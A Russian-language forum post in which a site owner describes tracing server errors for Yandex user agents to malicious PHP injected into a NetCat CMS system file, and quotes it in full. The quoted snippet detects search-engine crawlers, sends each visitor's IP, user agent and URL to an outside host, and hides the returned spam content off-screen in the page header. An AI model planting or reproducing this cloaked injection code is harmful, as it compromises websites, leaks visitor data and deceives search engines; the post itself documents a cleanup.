zeloras

Ну не на мне, но да, там заработали похоже не плохо так т.к не понятно сколько там висел этот скрипт. Если что это Netcat последней версии:)

На самом деле все оказалось интереснее или нет, решать вам)

Долго грешил на ущербность нэткэт в плане кода и думал что в нем проблема, потом включил мозг и подумал, дальше начал эксперименты

Огромное спасибо Logger за ссылочку) а то пришлось бы извращаться)

Для начала я попробовал полностью вбить юзерагент яндекса, вбли...500 ошибка..

убрал все, все выдало без ошибок, потом начал убирать элементы юзерагента и смотреть что происходит, после того как я убрал почти все, я решил изменить все урлы и названия в юзерагенте т.е поменял все yandex на google :) т.к мне сказали что именно на yandex'e все ломается.

Проверил - заработало)

Далее я прописал не Yandex а -Yande и запустил...Отработало отлично!) после чего через netbeans пробежался поисков по ключевому слову yandex и вот что нашел в одном из системных файлов "cms"

if (preg_match("/yandex|rambler|mail\.ru/i", strtolower($_SERVER['HTTP_USER_AGENT'])))

	{

		$ch1 = curl_init("http://round.mirabella.in/blog/donor.php?sn=site.com&ra=".$_SERVER["REMOTE_ADDR"]."&ua=".urlencode($_SERVER["HTTP_USER_AGENT"])."&ru=".urlencode($_SERVER["REQUEST_URI"])."&");

		curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch1, CURLOPT_FOLLOWLOCATION, 1);

		$template_header = str_replace('<nav class="b-head_top__menu">', '<div style="position:absolute;top:-30px;">' . str_replace("http://www.site.com", "", @curl_exec($ch1)) . '</div><nav class="b-head_top__menu">', $template_header);

	}

Убрав этот зловредный код все заработало как надо...правда так и не ясно пока откуда он там появился (Пока буду грешить на netcat)